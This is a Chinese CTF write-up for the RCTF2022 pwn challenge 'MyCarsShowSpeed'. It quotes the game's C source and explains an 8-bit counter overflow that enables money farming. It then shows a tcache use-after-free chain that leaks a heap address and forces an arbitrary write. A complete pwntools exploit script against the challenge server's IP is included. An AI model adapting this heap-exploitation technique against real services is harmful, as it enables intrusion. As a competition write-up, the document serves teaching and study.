RCTF2022-MyCarsShowSpeed Writeup

//store.hstruct game{    void        (*printRules)();    void        (*showCars)(game_t *_this);    void        (*showInfo)(game_t *_this);    int         (*checkCar)(game_t *_this);    void        (*startGame)(game_t *_this);    void        (*switchCars)(game_t *_this);    void        (*compete)(game_t *_this);    void        (*visitStore)(game_t *_this);    void        (*menu)(void);    void        (*printBanner)();    void        (*readInput)(game_t *_this);    void        (*finishGame)(game_t *_this);    store_t     *store;    road_t      *road;    car_t       *userCar;    car_t       *botCar;    carList_t   *carList;    uint32_t    money;    int         winCol;    uint32_t    winTimes;};

else if(strcmp(goods->name, "flag") == 0){    if(game->winTimes < 1000)    {          puts("No! You cheated in this game! Where did your money come from?\n");        puts("Punish for cheaters!\nYour cars are confiscated!");        carList_t *curCar = game->carList;        while(curCar)        {            car_t *car = curCar->car;            if(car)            {                free(car);                curCar->car = NULL;            }            curCar = curCar->next;        }        game->carList->carNums = 0;        game->userCar = NULL;    }    else    {        int fd;        char buf[64];        puts("You've earned it!");        puts("Here is your flag!");        fd = open("./flag", O_RDONLY);        if(fd >= 0)        {            read(fd, buf, 64);            write(1, buf, 64);        }    }    return;}

void startGameImpl(game_t *_this){    int ch;    if(_this->checkCar(_this) == 0)        return ;    initBoard();    _this->userCar->col = USER_COL;    _this->botCar->col = BOT_COL;    road_t *road = _this->road;    if(road != NULL)    {        road->buildRoad(road, ROAD_BLOCKS);        road->printEnd(road);    }    _this->printBanner();    _this->userCar->printCar(_this->userCar);    _this->botCar->printCar(_this->botCar);    while(1)    {        ch = getch();        if(ch == 'q' || ch == 'Q')            goto End;        if(ch == ' ')            break;    }    _this->compete(_this);End:    _this->finishGame(_this);    clear();    endwin();}

if(isSlip(p)){    char msg[] = "You are luck!\nYour car's perfomrance increased!";    mvprintw(MSG_ROW + 1, (winCol - strlen(msg)) / 2, "%s", msg);    steps += 0.1;    if(steps == 1.0)    {        steps = 0;        _this->userCar->step += 1;    }    if(_this->userCar->stability < 100)        _this->userCar->stability++;    _this->userCar->performance++;}

isSlip是一个随机性函数，也就是 p% 的概率为 1。这里 p=10，也就是 10% 的概率，但是这个有点不太够看，算期望的话，我们 1000 次也就多 200 块，刷的效率还是比较低的。

但是其它地方确确实实没问题了，在这个 new_game 当中，没有任何办法可以通过正常手段去改这个 iswon 和 wintimes 了。

止步不前了，我们回到刚刚分析金钱的地方。

还是发现了端倪。

它在算时间戳的时候，会让取出时间乘上一个 difficulty。

fetchTime = fetchHour * 3600 +  fetchMin * 60 + fetchSec * fixDifficulty;// 0fixTime   = fixHour * 3600 + fixMin * 60 + fixSec; 

并且给了一个注释 0。

difficulty分析

那么这里我们分析一下这个 difficulty 的字段。

从上到下，第一个是初始化，difficulty 为 1，第二个是定义，第三个是刚刚的 finish game 的时候 ++，最后一个是我们在修车的时候赋值，又是 finishGame ，我们继续跳到里面分析。

void finishGameImpl(game_t *_this){    car_t *car = _this->userCar;    int fuelCost, healthCost;    int p = 10;     static double steps;    fuelCost = car->col / 10;    healthCost = car->col / 5;     car->health -= healthCost;    car->fuel -= fuelCost;    if(car->health < 0)        car->health = 0;    if(car->fuel < 0)        car->fuel = 0;    car->fixDifficulty++;    if(isSlip(p))    {        char msg[] = "You are luck!\nYour car's perfomrance increased!";        mvprintw(MSG_ROW + 1, (winCol - strlen(msg)) / 2, "%s", msg);        steps += 0.1;        if(steps == 1.0)        {            steps = 0;            _this->userCar->step += 1;        }        if(_this->userCar->stability < 100)        _this->userCar->stability++;        _this->userCar->performance++;    }    attron(COLOR_PAIR(1));    if(_this->botCar->isWon)    {        int ch;        char msg[] = "You lose! Press enter to quit...";        _this->botCar->isWon = 0;        if(car->stability < _this->botCar->stability)        {            car->stability += 5;            car->performance ++;        }        mvprintw(BANNER_ROW + 3, (winCol - strlen(msg)) / 2, "%s", msg);        while((ch = getch()) != '\n');    }    else if(_this->userCar->isWon)    {        int ch;        _this->winTimes++;        _this->userCar->isWon = 0;        _this->money += 10;        mvprintw(BANNER_ROW + 3, (winCol - 10) / 2, "%s", "You Won!!! Press enter to quit...");        while((ch = getch()) != '\n');    }    attroff(COLOR_PAIR(1));}

发现这个逻辑在最开始，也就是无论如何都会被调用的，而且我们发现它的类型为 uint8，无符号的 8 位整数，那么我们可以让它刷 255 次，导致了它加到最后变成 0，然后我们再不停地修车，就会导致取的时候少加了秒数相减极有可能是负数（修车赚钱），并且我们还可以修很多次，这样的话就可以避免在零点才能刷钱的问题。

那么两个思路一结合就可以做出这一题了。

exp编写

首先给一下交互函数

def choice(idx):    p.sendlineafter(b'> ',str(idx))def entered(s):    p.sendlineafter(b'> ',s)def start():    choice(1)    p.recvuntil('`-(_)--(_)-`')    p.send('q')    #3p.recvall()    #p.send(' ')def show():    choice(2)def visit():    choice(3)def switch():    choice(4)def buy(t,name=None):    choice(1)    entered(t)    if 'Car' in t:        entered(name)def sell(name):    choice(2)    entered(name)def fix(name):    choice(3)    entered(name)def fetch(name):    choice(4)    entered(name)def leave():    choice(5)

在这里很多选项没用到，也就没有实际的去实现交互的功能，start 函数这里仅仅实现了开始一句游戏然后马上按 q 退出。

第一步，买一辆车，把 difficulty 刷到 0。

visit()buy('NormalCar','ss')leave()for i in range(255):    print(i)    start()

然后这样不就稳稳地可以刷钱去了。

理论上，一次最多刷 59*5 的钱，看当前秒钟指向的位置，这里取一下期望是一次可以大概刷 150 块，刷到 9999 我们直接刷一百次好了。

visit()buy('NormalCar','ss')leave()for i in range(255):    print(i)    start()visit()for i in range(100):    fix('ss')    fetch('ss')

而且，买 flag 不扣钱的，因为不管是有没有赢到 1000 次，它都 return，不会触发下面的扣钱逻辑，所以我们有 9999 只是有了一个门槛而已。

之后我们把车再放起来修一下，然后去买 flag，被强制回收。

visit()buy('NormalCar','ss')leave()for i in range(255):    print(i)    start()visit()for i in range(100):    fix('ss')    fetch('ss')fix('ss')buy('flag')

第一次 free，fd字段被清零，tcache 的 fd 字段对应了 car 的 name 字段，所以我们要从 fix 那里取出来的话直接给一个回车取。但是第二次 free，它的 fd 会带上自身的一个指针，但是我们修车的时候会显示它的名字，可以把当前堆块的地址泄露出来。

visit()buy('NormalCar','ss')leave()for i in range(255):    print(i)    start()visit()for i in range(100):    fix('ss')    fetch('ss')fix('ss')buy('flag')fetch('')fix('')buy('flag')choice(4)p.recvuntil('CarName: ')name=p.recv(6)

然后快乐泄露堆地址，并且让它再被 free 一次。

visit()buy('NormalCar','ss')leave()for i in range(255):    print(i)    start()visit()for i in range(100):    fix('ss')    fetch('ss')fix('ss')buy('flag')fetch('')fix('')buy('flag')choice(4)p.recvuntil('CarName: ')name=p.recv(6)heap=u64(name+b'\0\0')-0x5e0success('heap: '+hex(heap))p.sendline(name)fix(name)buy('flag')success('heap: '+hex(heap+0x330))

最后嘛，直接就连续申请三次，第一次需要填上指定的地址，第三次写指定地址的一个值。

buy('NormalCar',p64(heap+0x330)[:6])buy('NormalCar',p64(heap+0x330)[:6])buy('NormalCar','ssss')buy('flag')

然后把 process 改成 remote 直接就能跑了。

最终exp

from pwn import *   #p=process('./SpeedGame')#context.log_level='debug'p=remote('49.0.206.171', 9999)def choice(idx):    p.sendlineafter(b'> ',str(idx))def entered(s):    p.sendlineafter(b'> ',s)def start():    choice(1)    p.recvuntil('`-(_)--(_)-`')    p.send('q')    #3p.recvall()    #p.send(' ')def show():    choice(2)def visit():    choice(3)def switch():    choice(4)'''Goods:  NormalCar           Price:  50Goods:  SuperCar            Price:  100Goods:  LongCar             Price:  180Goods:  GhostCar            Price:  200Goods:  Fuel                Price:  10Goods:  NormalTire          Price:  20Goods:  SuperTire           Price:  80Goods:  flag                Price:  9999'''def buy(t,name=None):    choice(1)    entered(t)    if 'Car' in t:        entered(name)def sell(name):    choice(2)    entered(name)def fix(name):    choice(3)    entered(name)def fetch(name):    choice(4)    entered(name)def leave():    choice(5)visit()buy('NormalCar','ss')leave()for i in range(255):    print(i)    start()visit()for i in range(100):    fix('ss')    fetch('ss')fix('ss')buy('flag')fetch('')fix('')buy('flag')choice(4)p.recvuntil('CarName: ')name=p.recv(6)heap=u64(name+b'\0\0')-0x5e0success('heap: '+hex(heap))p.sendline(name)fix(name)buy('flag')success('heap: '+hex(heap+0x330))buy('NormalCar',p64(heap+0x330)[:6])buy('NormalCar',p64(heap+0x330)[:6])buy('NormalCar','ssss')buy('flag')#gdb.attach(p)p.interactive()

运行结果：

小结

对题目而言：这题质量是非常高的，而且最终也只有五个队伍做出来了（我也是其中一个，荣誉感还是很足的！）。也让我更加加深了对于逻辑漏洞的审计吧，我这个 wp 写的是完全按照我做题的新路历程来的，可以说就是完整的演示了一遍我在比赛中做题的过程，希望对师傅们复现有帮助。

对比赛而言：这次比赛中，自己还出了一个 MISC 的 PVZ，那题就纯开挂能过去的（也算对我学了这三个月逆向的一个小检测）。还有一道 kernel pwn，就挺经典的，kernel pwn每次都是分数最低的一个，感觉在这么来几次 kernel pwn 的非预期要变成预期解了。

最关键是，我找到了比赛久中违的快乐，那种熬夜淦题目，flag 出的那一刻说不上来的喜悦。前几次比较有感觉的，L3HCTF2021，还有 SUSCTF2022，已经过了大半年了，加油吧，接着冲，接着学！